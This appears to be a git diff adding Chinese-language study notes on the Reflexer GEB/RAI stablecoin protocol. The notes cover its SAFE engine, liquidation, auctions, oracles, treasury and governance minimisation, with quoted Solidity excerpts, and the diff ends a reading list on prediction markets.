+- [ ] [**Article**] [Prediction market design for betting on many highly improbable events](https://ethresear.ch/t/prediction-market-design-for-betting-on-many-highly-improbable-events/8280) - Vitalik（[中文版](https://mp.weixin.qq.com/s/s73HduwOTmevPQZ80v1G_g)）
+- [ ] **Prediction Market Introduction**
+  1. [Why do this?](https://bitcoinhivemind.com/papers/1_Purpose.pdf)
+  2. [The Power of Prediction Markets](https://bitcoinhivemind.com/papers/2_PM_Types.pdf)
+  3. [Applications and Use-Cases](https://bitcoinhivemind.com/papers/3_PM_Applications.pdf)
+  4. [Prediction Market Myths](https://bitcoinhivemind.com/papers/4_PM_Myths.pdf)
+  5. [Manipulation of Prediction Markets](https://bitcoinhivemind.com/papers/5_PM_Manipulation.pdf)
+  6. [Non-Usefulness of Prediction Markets for Assassination and Crime](https://bitcoinhivemind.com/papers/6_Crime_Markets.pdf)
+
+### Advanced
+
+- [ ] [**Paper**] [Designing Markets for Prediction](https://dash.harvard.edu/bitstream/handle/1/5027266/Chen_DesigningMarkets.pdf)  - Yiling Chen 
+- [ ] [**Video**] [Designing Markets for Prediction](https://www.youtube.com/watch?v=REIXKossJOU&ab_channel=UWVideo)  - Yiling Chen
+- [ ] [**Article**] [**Why don't Prediction Markets Work as well as we like?**](https://pashanomics.substack.com/p/why-dont-prediction-markets-work)
+- [ ] [**Article**] [**预测市场中也有无常损失？如何减小其风险？**](https://www.chainnews.com/articles/353447755264.htm)  ([中文版](https://www.chainnews.com/articles/353447755264.htm))
+- [ ] [**Article**] [**The Power of Prediction Markets**](https://blog.gnosis.pm/the-power-of-prediction-markets-fedea0b71244)  ([中文版](https://daorayaki.org/yu-ce-shi-chang-de-li-liang/))
+
+
+
+## Combinatorial Market
+
+### For Beginners
+
+- [ ] [**Article**] [WHAT IS (AND WHAT GOOD IS) A COMBINATORIAL PREDICTION MARKET?](http://blog.oddhead.com/2008/12/22/what-is-and-what-good-is-a-combinatorial-prediction-market/)
+- [ ] [**Article**] [THE RIGHT WAY TO IMPLEMENT A MULTI-OUTCOME PREDICTION MARKET: LINEAR PROGRAMMING](http://blog.oddhead.com/2008/02/19/the-right-way-to-implement-a-multi-outcome-prediction-market-linear-programming/)
+- [ ] [**Deck**] [Combinatorial Prediction Markets](http://www.eecs.harvard.edu/cs286r/courses/fall10/lecture/7-slides.pptx)
+
+### Advanced
+
+- [ ] [**Paper**] [Combinatorial Information Market Design](https://mason.gmu.edu/~rhanson/combobet.pdf) - Robin Hanson
+- [ ] [**Paper**] [Combinatorial Betting](http://www.sigecom.org/exchanges/volume_7/1/chen.pdf) - Yiling Chen
+- [ ] [**Paper**] [Complexity of Combinatorial Market Makers](http://people.cs.uchicago.edu/~fortnow/papers/LMSR.pdf)  - Yiling Chen 
+
diff --git a/defi/RAI/GEB.md b/defi/RAI/GEB.md
new file mode 100644
index 000000000..783492fc3
--- /dev/null
+++ b/defi/RAI/GEB.md
@@ -0,0 +1,469 @@
+# Reflexer GEB
+
+GEB 协议的核心仓库，是 MCD(MakerDAO-dss)的修改版，具有几个核心的改进：
+
+- 可以理解的变量名称
+- 自主反馈机制，改变系统参与者的激励
+- 可添加 SAFE 保险
+- 固定和递增的折扣拍卖（而不是英国式拍卖）用于出售抵押品
+- 自动调整系统中的几个参数
+- 一组合约，约束了长期治理的参数控制
+- 可以一次将稳定费用发送到多个地址
+- 可以在盈余拍卖和其他类型的策略之间切换，以删除系统中的盈余
+- 每种抵押品类型有两个价格：一个用于生成债务，另一个专门用于清算 SAFE
+- stability fee treasury 可以支付 Oracle 调用或其他自动化系统的合约费用
+
+## Flow
+
+![GEB_overview](<https://1187825898-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9jdHretGKCtWYz5jZR%2F-MZCEBuqpWiVDbzkVeUa%2F-MZCEJv2Xvz-xIw0JAwy%2FGEB_overview%20(1).png?alt=media&token=d1233706-ec95-443b-8d45-97f973d18208>)
+
+[GEB Overview Diagram](https://viewer.diagrams.net/?target=blank&highlight=0000ff&layers=1&nav=1&title=GEB_overview.drawio#Uhttps%3A%2F%2Fdrive.google.com%2Fuc%3Fid%3D1nIcaY8N8StVCfyAL_ztbmETJX2bvY3a9%26export%3Ddownload)
+
+### build DSProxy
+
+`GebProxyRegistry.build(address owner)` 创建属于用户的 `DSProxy`, 注册 proxy 地址
+
+- `proxy = new DSProxy()`
+- `proxies[owner] = msg.sender`
+
+```solidity
+
+// geb-proxy-registry/
+// deploys a new proxy instance sets custom owner of proxy
+contract GebProxyRegistry {
+    function build(address owner) public returns (address payable proxy) {
+        require(proxies[owner] == DSProxy(0) || proxies[owner].owner() != owner); // Not allow new proxy if the user already has one and remains being the owner
+        proxy = factory.build(owner);
+        proxies[owner] = DSProxy(proxy);
+        emit Build(owner, proxy);
+    }
+}
+```
+
+### openLockETHAndGenerateDebt
+
+1. `DSProxy.execute(address _target, bytes memory _data)` 组装操作，调用 Proxy 执行交易
+2. `GebProxyActions.openLockETHAndGenerateDebt()` Actions 模块执行开仓, 抵押ETH，借出 RAI
+   - `GebProxyActions.openSAFE(address manager, bytes32 collateralType, address usr)`
+   - `GebSafeManager.openSAFE(bytes32 collateralType, address usr)`
+     - `new SAFEHandler(safeEngine)` 创建 SAFEHandler 合约
+   - `GebProxyActions.lockETHAndGenerateDebt()`
+     - `ethJoin_join(ethJoin, safeHandler, msg.value)` 通过 adaptor 转入 ETH 抵押资产
+     - `GebSafeManager.modifySAFECollateralization()` 创建 SAFE 仓位
+       - `GebSafeManager._getGeneratedDeltaDebt()` 增加SAFE债务，包含税收
+       - `SAFEEngine.modifySAFECollateralization()`
+     - `transferInternalCoins()` 将 RAI token 转给用户
+       - `BasicTokenAdapters.exit(address account, uint256 wad)`
+         - `SAFEEngine.modifyCollateralBalance()`
+
+```solidity
+// ds-proxy/src/proxy.sol
+contract DSProxy is DSAuth, DSNote {
+    // step 1
+    function execute(address _target, bytes memory _data) {
+        // target.delegatecall()
+    }
+}
+
+// geb-proxy-actions/src/GebProxyActions.sol
+contract GebProxyActions is BasicActions {
+    // step 2
+    function openLockETHAndGenerateDebt(
+        address manager,
+        address taxCollector,
+        address ethJoin,
+        address coinJoin,
+        bytes32 collateralType,
+        uint deltaWad
+    ) external payable returns (uint safe) {
+        safe = openSAFE(manager, collateralType, address(this));
+        lockETHAndGenerateDebt(manager, taxCollector, ethJoin, coinJoin, safe, deltaWad);
+    }
+
+    // step 3
+    /// @notice Opens a brand new Safe
+    /// @param manager address - Safe Manager
+    /// @param collateralType bytes32 - collateral type
+    /// @param usr address - Owner of the safe
+    function openSAFE(
+        address manager,
+        bytes32 collateralType,
+        address usr
+    ) public returns (uint safe) {
+        safe = ManagerLike(manager).openSAFE(collateralType, usr);
+    }
+}
+
+// geb-safe-manager/src/GebSafeManager.sol
+contract GebSafeManager {
+    // step 4
+    function openSAFE(
+        bytes32 collateralType,
+        address usr
+    ) public returns (uint) {
+        // safei is SAFE id
+        safes[safei] = address(new SAFEHandler(safeEngine));
+        ...
+        return safei;
+    }
+}
+
+// geb-proxy-actions/src/GebProxyActions.sol
+contract GebProxyActions is BasicActions {
+    // step 5
+    /// @notice Locks Eth, generates debt and sends COIN amount (deltaWad) to msg.sender
+    /// @param manager address
+    /// @param taxCollector address
+    /// @param ethJoin address
+    /// @param coinJoin address
+    /// @param safe uint - Safe Id
+    /// @param deltaWad uint - Amount
+    function lockETHAndGenerateDebt(
+        address manager,
+        address taxCollector,
+        address ethJoin,
+        address coinJoin,
+        uint safe,
+        uint deltaWad
+    ) public payable {
+    }
+}
+
+// geb-safe-manager/src/GebSafeManager.sol
+contract GebSafeManager {
+    // step 6
+    function modifySAFECollateralization(
+        uint safe,
+        int deltaCollateral,
+        int deltaDebt
+    ) public safeAllowed(safe) {
+        // SAFEEngine.modifySAFECollateralization()
+    }
+}
+
+```
+
+## Core Module
+
+### SAFE Engine
+
+> The SAFE, system coin and collateral database
+
+SAFE Engine 存储所有的 SAFE (用户的抵押和债务仓位) 并跟踪所有的债务和抵押平衡。该合约是最重要的系统组件，因此为了尽可能减少错误的可能性，它没有任何外部依赖。
+
+1. Coin cannot exist without collateral
+2. The Safe data structure is the SAFE
+3. Similarly, a collateral is an collateralType
+
+```solidity
+struct SAFE {
+    // Total amount of collateral locked in a SAFE
+    uint256 lockedCollateral;  // [wad]
+    // Total amount of debt generated by a SAFE
+    uint256 generatedDebt;     // [wad]
+}
+
+struct CollateralType {
+    // Total debt issued for this specific collateral type
+    uint256 debtAmount;        // [wad]
+    // Accumulator for interest accrued on this collateral type
+    uint256 accumulatedRate;   // [ray]
+    // Floor price at which a SAFE is allowed to generate debt
+    uint256 safetyPrice;       // [ray]
+    // Maximum amount of debt that can be generated with this collateral type
+    uint256 debtCeiling;       // [rad]
+    // Minimum amount of debt that must be generated by a SAFE using this collateral
+    uint256 debtFloor;         // [rad]
+    // Price at which a SAFE gets liquidated
+    uint256 liquidationPrice;  // [ray]
+}
+```
+
+SafeEngine 中的方法被编写为尽可能通用，因此其接口可能相当冗长。应注意确保参数的顺序不混淆。
+
+任何已通过 SafeEngine 授权的模块均具有完全的根访问权限，因此可以窃取系统中的所有抵押品。这意味着添加新的抵押品类型（及其相关适配器 Adapters）具有相当大的风险。
+
+#### SAFE Management
+
+- 任何人都可以通过 `modifySAFECollateralization` 来管理 SAFE，该方法可以使用用户提供的抵押品 `tokenCollateral` 来修改对应地址的 SAFE 仓位，并修改 `debtDestination` 的 `coinBalance`
+
+- `confiscateSAFECollateralAndDebt` 通常由 `LiquidationEngine` 来调用，将债务从 SAFE 转移到另一个地址的 `debtBalance`
+
+- `debtBalance` 表示坏账，可以使用 `settleDebt(uint rad)` 方法通过与等量系统币 (RAI) 抵消来消除。
+  在 `settleDebt(uint rad)` 中，msg.sender 用作 `coinBalance` 和 `debtBalance` 的地址。
+
+- coinBalance[user: address] - 在系统内用户有多少 coin ，该数量不会反应在 ERC20 合约中
+
+```solidity
+/**
+* @notice Nullify an amount of coins with an equal amount of debt
+* @param rad Amount of debt & coins to destroy
+*/
+function settleDebt(uint256 rad) external {
+    address account       = msg.sender;
+    debtBalance[account]  = subtract(debtBalance[account], rad);
+    coinBalance[account]  = subtract(coinBalance[account], rad);
+    globalUnbackedDebt    = subtract(globalUnbackedDebt, rad);
+    globalDebt            = subtract(globalDebt, rad);
+    emit SettleDebt(account, rad, debtBalance[account], coinBalance[account], globalUnbackedDebt, globalDebt);
+}
+```
+
+#### Stability Fee Accrual
+
+accumulatedRates 有助于将针对 collateralType 产生的标准化债务（generatedDebt）转换为该债务的现值（实际债务发行量+利息）。该费率通过 updateAccumulatedRate（由 TaxCollector 调用）更新。每次更新后，新计提的稳定费用都会添加到 surplusDst 的 coinBalance 中。
+
+### Liquidation Engine
+
+> The protocol's liquidation mechanism
+
+LiquidationEngine 使外部参与者能够清算 SAFEs 并将其抵押品发送到 CollateralAuctionHouse，同时将部分债务发送到 AccountingEngine。
+
+- liquidateSAFE 不会让 SAFE 带着债务离开且没有抵押品
+- liquidateSAFE 不会让 SAFE 累积 dust， 即数量微小的清算残余
+- 如果 `amountToRaise` + `currentOnAuctionSystemCoins` 超过了 `onAuctionSystemCoinLimit` ，liquidateSAFE 不会启动新的拍卖。
+- 如果所选的 SAFESaviour 地址未被治理机构列入白名单，则 `protectSAFE` 将被撤销 (revert)
+
+```solidity
+// geb/src/single/LiquidationEngine.sol
+function liquidateSAFE(bytes32 collateralType, address safe) external returns (uint256 auctionId) {
+    /*
+    1. 相应的仓位债务和抵押价值的检查，是否可以清算
+    2. 被清算人若有设置 safeSaviours，转入补充抵押资产
+    3. collateralToSell = (实际债务 / 可清算的债务上限) * 仓位中所有抵押资产
+    4. amountToRaise = limitAdjustedDebt * accumulatedRate / liquidationPenalty
+       该Safe仓位被清算最大值后，扣除的抵押价值 = 最大的债务 * 债务累计系数 / 惩罚折扣
+    5. CollateralAuctionHouse.startAuction() 仓位进入竞价拍卖流程
+    */
+}
+```
+
+liquidateSAFE 可以随时调用，但只有当目标 SAFE 处于亏损状态时才会成功。当锁定的抵押品（lockedCollateral）乘以抵押品的清算价格（liquidationPrice）小于其当前价值的负债时（已生成的债务乘以抵押品的累积利率 `accumulatedRate` ），就意味着 SAFE 处于亏损状态。
+
+- liquidationPrice 是由抵押品的清算比例调整的代理报告价格。尽管 Safety ratios 和清算比率的值可以相等，但二者之间有明显区别：
+
+- Safety ratios 是在对 SAFE 的抵押品产生债务时使用的最小抵押率。在清算比率下更为保守（更高）
+
+清算比率是 SAFE 的最小抵押率，在该抵押率下，SAFE 将被清算
+
+如果正在被目标的 SAFE 所有者用 saviour 来保护其位置， liquidateSAFE 可能会提前终止尝试进行清算。
+
+## Accounting Engine
+
+> The protocol's accountant, keeping track of surplus and deficit
+
+AccountingEngine 接收系统盈余和系统债务。它通过债务拍卖来弥补赤字，通过拍卖（Burning/RecyclingSurplusAuctionHouse）或转移（到 extraSurplusReceiver）来处理剩余。
+
+### Accounting Debt
+
+当 SAFE 被清算时，被查封 (confiscate) 的债务会被放入到 AccountingEngine 的队列中。此时的时间戳是清算 SAFE 行动的区块时间戳（`debtQueue[timestamp]`）。一旦 `AccountingEngine.popDebtDelay`（债务清算延迟）过期，该债务就可以通过 popDebtFromQueue 得到释放。一旦该债务被释放，就可以使用从 SAFE 清算中收集的剩余款项进行结算，或者如果没有收集足够的剩余款项，则可以使用 `DebtAuctionHouse` 进行拍卖。注意：只有在 `canPrintProtocolTokens` 返回 true 并且 `canPrintProtocolTokens` 未发生意外逆转时， AccountingEngine 才能开始一个新的债务拍卖。
+
+主要风险涉及到 popDebtDelay < CollateralAuctionHouse.totalAuctionLength，这会导致债务拍卖在相关抵押品拍卖完成之前开始。
+
+### Auctioning Surplus
+
+当 AccountingEngine 拥有超过 surplusBuffer 的剩余余额（`safeEngine.coinBalance[accountingEngine] > surplusBuffer`）时，如果超出缓冲区的额外剩余款项没有被保留用于抵消引擎的坏账（`safeEngine.debtBalance[accountingEngine]`），并且 `extraSurplusIsTransferred` 为 0，则可以使用 `Burning/RecyclingSurplusAuctionHouse` 进行拍卖。此过程将导致销毁协议代币，以换取拍卖的剩余款项。
+
+### Transferring Extra Surplus
+
+当 AccountingEngine 中的余额高于 surplusBuffer（`safeEngine.coinBalance [accountingEngine]> surplusBuffer`）时，如果超出缓冲区的额外余额未保留用于抵消引擎的坏账（`safeEngine.debtBalance [accountingEngine]`）且 `extraSurplusIsTransferred` 为 1，则可以将额外余额转移给 `extraSurplusReceiver。`
+
+### Disabling the Accounting Engine
+
+当授权地址调用 AccountingEngine.disableContract 时，系统将尝试尽可能清算剩余的 `safeEngine.debtBalance[accountingEngine]`。
+
+## Auction Module
+
+> Maintaining system balance by covering shortfall and disbursing surplus
+
+拍卖模块旨在通过参与抵押品、债务和盈余拍卖，激励外部参与者推动系统回到安全状态
+
+- `CollateralAuctionHouse` 用于出售已成为不足抵押的 SAFE 中的抵押品，以保持系统的整体健康。有两种类型的抵押品拍卖：
+
+  - `English Auction` 要求竞标者用逐渐增加的系统币竞标固定数量的抵押品，只有一个竞标者可以获胜。此拍卖类型有两个阶段：增加竞标金额，在此阶段中，竞标者提交更高的系统币竞标，而在第二个阶段中，降低售出数量，竞标者接受较低数量的抵押品，以获得获胜的系统币竞标。
+
+  - 另一方面，`FixedDiscount`, `IncreasingDiscount` 拍卖只有一个阶段（购买抵押品），其中竞标者提交系统币，而智能合约以比市场价格更低的折扣价格向其提供抵押品。这些拍卖类型与英式拍卖相比更具有资本效率和用户友好性。它们还允许任何人使用闪电贷购买抵押品。
+
+  - 默认情况下，合约将使用抵押品的 OSM 价格（相对于实际抵押品市场价格有所滞后）和系统币的 redemption price 来计算为每个个人竞标提供多少抵押品。如果规定在 FSM 价格和 redemption price 内部偏离一定限额，治理机构可以设置合约的参数，以便使用抵押品的中位数价格或系统币的市场价格。
+
+- `DebtAuctionHouse` 用于通过将协议代币拍卖出一定数量的盈余（系统币）来摆脱会计引擎的债务。拍卖完成后，将收到的盈余发送到会计引擎，以抵消恶性债务，并且为获胜的竞标者铸造协议代币
+
+- `SurplusAuctionHouse`（包括 Burning, Recycling and PostSettlement 3 个版本）用于通过拍卖一定数量的内部系统加密币，换取协议代币来清除 AccountingEngine 的盈余。拍卖结算后，拍卖行会将获胜的协议代币烧掉，或将竞标结果转移到外部地址，然后将内部系统加密币发送给获胜的竞标者，具体情况取决于拍卖行的决定。
+
+## Oracle Module
+
+> The "source of truth" for collateral and system coin prices
+
+Oracle 模块负责将价格源更新输入并推入系统。它由三个核心组件组成：medianizer 获取某种资产的价格源，FSM(Feed Security Module)为从 medianizer 获取的价格引入延迟，OracleRelayer 按赎回价格将价格数据除以质押率（提交价格的资产的质押率），然后将结果再次除以质押率，并将最终输出推入 SAFEEngine 中。该模块也可用于为系统的反馈机制或旨在自主设置系统参数的其他合约提供价格源数据。
+
+- `DSValue` 是 medianizer 的简化版本。它用于测试 Oracle 基础设施。合约创建者可以指定哪些地址被允许在合约内更新价格源。
+- `OSM`（Oracle Security Module）确保从 medianizer 传播的新价格值在经过指定延迟后，才会被系统接受。
+- `DSM`（Dampened Security Module）是类似 OSM 的合约，限制了两个连续价格源更新之间的最大价格变化。
+- `FsmGovernanceInterface` 是一个抽象，旨在帮助治理停止 OSMs.
+- `OracleRelayer` 是 OSM 和核心系统（SAFEEngine）之间的纽带。它将每个价格源除以最新的赎回价格，然后再次除以质押率，最后保存最终结果。事实上，中继器将为每种抵押品类型存储两种不同的价格：一个安全价格仅在 SAFE 用户想生成债务时使用，另一个是清算引擎调用 LiquidateSAFE 时使用的清算价格。中继器还负责存储赎回价格并使用赎回费率进行更新。
+- `GovernanceLedPriceFeedMedianizer` 和 `ChainlinkPriceFeedMedianizer` 为系统中使用的每个令牌提供新鲜的价格源。两者之间的主要区别在于，治理主导版本维护了价格源合约的白名单，由代币持有人授权（并激励）将价格推送到系统中，而 Chainlink 版本不依赖于 GEB 的治理来正常运行（除了代币持有人需要指向 Chainlink 聚合器的升级版本的情况之外）。
+- `UniswapConsecutiveSlotsPriceFeedMedianizer` 利用 Uniswap v2 基础设施来实现 TWAP，以提供价格源。它需要连接到一个单独的 oracle，以帮助将 TWAP 结果转换为另一种货币（例如美元、欧元等）。
+
+### Oracle Relayer
+
+> The glue between price feeds and the SAFE Engine
+
+OracleRelayer 作为 FSMs 和 SAFEEngine 之间的接口合约，仅存储当前的抵押品类型列表，以及当前赎回价格和赎回率。该中继器将依赖治理来设置每种抵押品的安全系数和清算比率，并可能还会依赖外部反馈机制来更新赎回率，从而影响赎回价格。
+
+#### UpdateCollateralPrice
+
+`updateCollateralPrice` 是一个公开调用的函数。该函数接受一个表示需要更新（安全和清算）价格的抵押物类型的 bytes32。updateCollateralPrice 分为三个阶段：
+
+- `getResultWithValidity` - 与抵押品类型的 orcl 进行交互，返回一个值以及它是否有效（若价格无效就返回 false 的布尔值）。如果 isValid == true，就进行第二个外部调用。
+
+- 在计算安全价格(`safetyPrice`)和清算价格(`liquidationPrice`)时，`_redemptionPrice` 是至关重要的，因为它定义了系统代币与一个单位的抵押品之间的关系。从 OSM 获取的值被*divided* 通过（已更新的）赎回价格（得到抵押品价值与系统代币的比率），然后再次被抵押品类型的 safetyCRatio (计算安全价格时）和抵押品类型的 `liquidationCRatio`（计算清算价格时）divided。
+
+- 然后调用 `cdpEngine.modifyParameters` 以更新系统内的抵押物价格。
+
+$$
+{redemptionPrice_{new}} = {redemptionPrice_{old}} \cdot {redemptionRate}^{\Delta t}
+$$
+
+```solidity
+// geb/src/single/OracleRelayer.sol
+/**
+* @notice Update the collateral price inside the system (inside SAFEEngine)
+* @param collateralType The collateral we want to update prices (safety and liquidation prices) for
+*/
+function updateCollateralPrice(bytes32 collateralType) external {
+    (uint256 priceFeedValue, bool hasValidValue) =
+        collateralTypes[collateralType].orcl.getResultWithValidity();
+    uint256 redemptionPrice_ = redemptionPrice();
+    uint256 safetyPrice_ = hasValidValue ? rdivide(rdivide(multiply(uint256(priceFeedValue), 10 ** 9), redemptionPrice_), collateralTypes[collateralType].safetyCRatio) : 0;
+    uint256 liquidationPrice_ = hasValidValue ? rdivide(rdivide(multiply(uint256(priceFeedValue), 10 ** 9), redemptionPrice_), collateralTypes[collateralType].liquidationCRatio) : 0;
+
+    safeEngine.modifyParameters(collateralType, "safetyPrice", safetyPrice_);
+    safeEngine.modifyParameters(collateralType, "liquidationPrice", liquidationPrice_);
+    emit UpdateCollateralPrice(collateralType, priceFeedValue, safetyPrice_, liquidationPrice_);
+}
+
+/**
+* @notice Fetch the latest redemption price by first updating it
+*/
+function redemptionPrice() public returns (uint256) {
+    if (now > redemptionPriceUpdateTime) return updateRedemptionPrice();
+    return _redemptionPrice;
+}
+
+/**
+* @notice Update the redemption price using the current redemption rate
+*/
+function updateRedemptionPrice() internal returns (uint256) {
+    // Update redemption price
+    _redemptionPrice = rmultiply(
+        rpower(redemptionRate, subtract(now, redemptionPriceUpdateTime), RAY),
+        _redemptionPrice
+    );
+    if (_redemptionPrice == 0) _redemptionPrice = 1;
+    redemptionPriceUpdateTime = now;
+    emit UpdateRedemptionPrice(_redemptionPrice);
+    // Return updated redemption price
+    return _redemptionPrice;
+}
+
+```
+
+## Token Module
+
+> ERC20 tokens, authority contracts and adapters for exiting and joining collateral in an out of the system
+
+- DSDelegateToken
+- Coin
+- BasicTokenAdapters
+- AdvancedTokenAdapters
+- ProtocolTokenAuthority
+- GebPrintingPermissions
+
+- 系统币（System Coin | RAI）：这是核心系统认为价值等同于其内部债务单位的代币。
+- 协议代币（Protocol Token | FLX）：一种 ds-token，继承了 UNI 和 COMP 的委派能力。它包含了销毁和授权铸造的逻辑。该代币可用于管理系统和作为资本重组的来源。
+- 协议代币授权（Protocol Token Authority）：确定谁有资格铸造和烧毁协议代币的权威合约。
+- Geb 铸造权限（Geb Printing Permissions）：允许多个债务拍卖合约铸造协议代币的权限系统。
+- 代币适配器（Token Adapters）：
+  - 抵押品适配器（Collateral Adapters）：允许任何人将抵押品进入或退出 GEB。
+  - Coin Join：用于使系统币以 ERC20 的形式退出系统，并以 SAFEEngine.coinBalance 的形式进入系统的适配器。
+
+## Money Market Module
+
+> Interest rate setters and collectors
+
+Relevant smart contracts:
+
+- TaxCollector 合约
+
+Money Market Module 包含了治理（或自治利率设定者）可用于设定和收取稳定费用的组件。
+
+## Sustainability Module
+
+> The protocol's resource management engine
+
+Relevant smart contracts:
+
+- StabilityFeeTreasury
+- FSM Wrapper
+- Increasing Treasury Reimbursement
+- Mandatory Fixed Treasury Reimbursement
+- Increasing Reward Relayer
+
+可持续性模块分配资源给那些更新关键系统组件（如预言机）的参与者，即使他们没有对协议进行治理的权限也可以执行。
+
+- StabilityFeeTreasury——此合约试图为自己保持“最佳”数量的稳定费，以确保其能向维护协议的其他合约（或某些情况下为个人）提供资金。任何人都可以定期调用功能来重新计算要保留在国库中的最佳资金金额。超过最佳值的任何剩余资金都将转移到 `extraSurplusReceiver` 中。
+- FSMWrapper —— 此合约旨在作为 FSM 类合约的资金来源，并充当允许其他合约从与包装器集成的 FSM 中读取数据的接口。
+- IncreasingTreasuryReimbursement——此合约旨在被继承并用作提供逐步增加的稳定费奖励（从 SF 国库中提取）任何人都可调用。
+- MandatoryFixedTreasuryReimbursement，旨在被继承并用作向任何地址提供固定稳定费奖励（从 SF 国库中提取）的方法。
+- IncreasingRewardRelayer，旨在从 StabilityFeeTreasury 中获取资金并将其发送到自定义地址。它继承自 IncreasingTreasuryReimbursement 合约的功能。
+
+### Stability Fee Treasury
+
+> The protocol's invoice processor
+
+StabilityFeeTreasury 旨在允许其他合约或 EOA 拉取资金（稳定费），以资助其运营。国库设置为 TaxCollector 的 secondaryReceiver。任何人都可以定期调用合约，重新计算在国库中应该保留的最佳的费用数量，并将任何额外的剩余资金发送到 extraSurplusReceiver 中。
+
+Treasury 的资金来源是稳定费，可以来自 TaxCollector 或愿意将系统代币发送到 Treasury 的任何人。治理机构也可以使用 takeFunds 将内部系统代币从源地址转移到 Treasury。
+
+治理机构负责设置授权地址，这些地址可以从 Treasury 中提取资金（如果其总额或每块津贴允许的话），同时设置 Treasury 参数以确定合约中应始终保留的资金最佳数量。我们定义“最佳”是最近一次 transferSurplusFunds 调用以来 Treasury 发生的开支的乘数（expensesMultiplier）。
+
+transferSurplusFunds 是 Treasury 重新计算其应保留储备资金的方式，并将任何剩余资金转入 extraSurplusReceiver。请注意，重新计算最佳值和从合约转移剩余款项之间存在时间延迟。
+
+发送资金到 extraSurplusReceiver 或 Treasury 本身
+
+如果治理机构想使用 giveFunds 将资金发送到 extraSurplusReceiver，则 expensesAccumulator 不会增加。如果某个地址想要 pullFunds 并将它们发送到 extraSurplusReceiver，则 pullFunds 将 revert。
+
+如果 dstAccount 是 Treasury 合约本身，则 pullFunds 将静默失败，而 giveFunds 将 revert。
+
+## Automation Module
+
+> A set of contracts in charge with automating a GEB
+
+Relevant smart contracts:
+
+- CollateralAuctionThrottler
+- SingleSpotDebtCeilingSetter
+- ESMThresholdSetter
+
+自动化模块是一套用于自动化 GEB 部署中参数设置的合约。它们旨在减轻系统管理的负担，使社区能够将精力集中于其他领域。
+
+- CollateralAuctionThrottler - 这个合约限制了任何给定时间等待通过抵押品拍卖来覆盖的坏账的数量
+
+- SingleSpotDebtCeilingSetter - 这个合约通过查看 SAFEEngine 中的当前 globalDebt 来重新计算特定抵押品类型的债务上限
+
+- ESMThresholdSetter - 这个合约通过使用 ESM 重新计算燃烧和触发结算所需的阈值
+
+## Governance Module
+
+> Tools for achieving consensus
+
+- ​DSPause - 规定了社区投票或多签钱包交易发出和执行的 间隔时间 (delay)
+
+## Shutdown Module
+
+> Winding down system operations
+
+Shutdown Module 负责在发生严重威胁时（如长期市场失序、黑客攻击或安全漏洞），对系统进行关机处理，并将所有抵押物资退还给用户。结算可以由紧急关机模块（ESM）触发，在这种情况下，治理需要存入（并销毁）一定数量的协议代币，或者如果治理方可以直接访问 GlobalSettlement，则可以绕过 ESM 并结算系统。
+
+- GlobalSettlement-该合约关闭 GEB 并确保 SAFE 和系统代币用户收到他们应得的资产净值。硬币持有人可以赎回的抵押品价值将根据结算时系统盈余或赤字而异。有可能，硬币持有人将获得少于或多于- OracleRelayer.redemptionPrice 的抵押品价值。
+- ESM-如果足够的代币在 ESM 中存入（并随后被销毁），该合约可以触发全局结算。
diff --git a/defi/RAI/GovernanceMinimization.md b/defi/RAI/GovernanceMinimization.md
new file mode 100644
index 000000000..cc0a2b172
--- /dev/null
+++ b/defi/RAI/GovernanceMinimization.md
@@ -0,0 +1,89 @@
+# Governance Minimization
+
+最小化治理意味着在 GEB 部署过程中采取的一系列步骤，最终使治理无法控制或升级大多数核心合约，许多参数将由其他外部合约自主设置。
+
+## Requirements for Governance Minimization
+
+为了实现 GEB 的治理最小化，需要满足以下几个要求
+
+- 协议的治理不能添加或计划添加更多的抵押品种类
+- 所有治理最小化基础设施必须经过生产环境的审计和测试
+- 系统必须积累足够的盈余在其主要财政中，以承担至少 6 个月的预言机、PID、状态管理等费用
+
+## How Much Can GEB Be Governance Minimized
+
+GEB 的每个组件都有不同程度的治理最小化潜力。
+
+- Accounting Engine - 治理可能需要继续控制系统 Staking 池的设置，直到该池实现治理最小化为止；initialDebtAuctionMintedTokens 和 debtAuctionBidSize 将需要由连接到预言机的外部合约进行设置（因此该外部合约将无法完全实现治理最小化）；可选的合约可以设置 surplusBuffer，以覆盖系统货币未偿还的供应量减去来自账户引擎和稳定费用财政的盈余的特定比例；另一个外部合约应该奖励调用 popDebtFromQueue 的地址。
+
+- Liquidation Engine - 治理将保持控制连接和断开救世者的能力；治理可以选择授权外部合约自动设置 onAuctionSystemCoinLimit
+
+- Oracle Relayer - 治理可能被允许将兑换率设为 0％；除此之外，治理完全可以被移除
+
+- SAFE Engine - 治理需要允许外部合约每隔几个小时/天自动设置每种抵押品的债务上限；治理应该允许合约根据最新的赎回价格调整债务下限；取决于系统中有多少种抵押品，自动设置债务上限可能不可行，而是需要手动投票来降低/提高债务上限
+
+- Stability Fee Treasury - 治理应该长期维护这个组件
+
+- Tax Collector - 治理可以选择有限控制设置稳定费率；有限控制指的是为每种抵押品设置上限和下限，例如每年 1-2％之间；除此之外，合约可以最小化治理
+
+- PID 控制器 - 治理可能需要长期保持对该组件的一定控制；社区将在 GEB 在主网运行至少 1 年后更了解需要多少控制；保持（有限的）控制的一个原因是当系统的稳定币在交易所上没有足够的流动性时，控制器应该被暂停；注：即使治理对 PID 保持某种程度的控制，OracleRelayer 也会对赎回率设置上限和下限，以防止潜在的治理攻击立即摧毁协议
+
+...
+
+其他组件情况: <https://docs.reflexer.finance/ungovernance/governance-minimization-guide>
+
+## 自动化基础设施
+
+几个 GEB 合约需要授权其他组件在治理最小化之后自动设置其某些参数。以下是每个 GEB 合约的外部组件
+
+- 清算引擎 - 可选合约，以系统货币减去会计引擎和稳定费用库中的剩余依据为百分比自动设置 onAuctionSystemCoinLimit。
+
+- 会计引擎 - 可选合约可能会设置 surplusBuffer，以覆盖系统货币未偿还供应量的特定百分比，不包括会计引擎和稳定费用库中的剩余金还有稳定费用库/，一个强制性的合约，根据协议令牌和系统币市场价格定期设置 initialDebtAuctionMintedTokens 和 debtAuctionBidSize。
+
+- ESM - thresholdSetter，自动将 triggerThreshold 设置为当前协议令牌未偿还供应量的百分比。
+
+- Stability Fee Treasury - 治理可能需要创建外部合约，以重置具有 perBlock 津贴> 0 的地址的总津贴，并允许根据最新的赎回价格自动设置参数，例如 minimumFundsRequired， pullFundsMinThreshold 等。
+
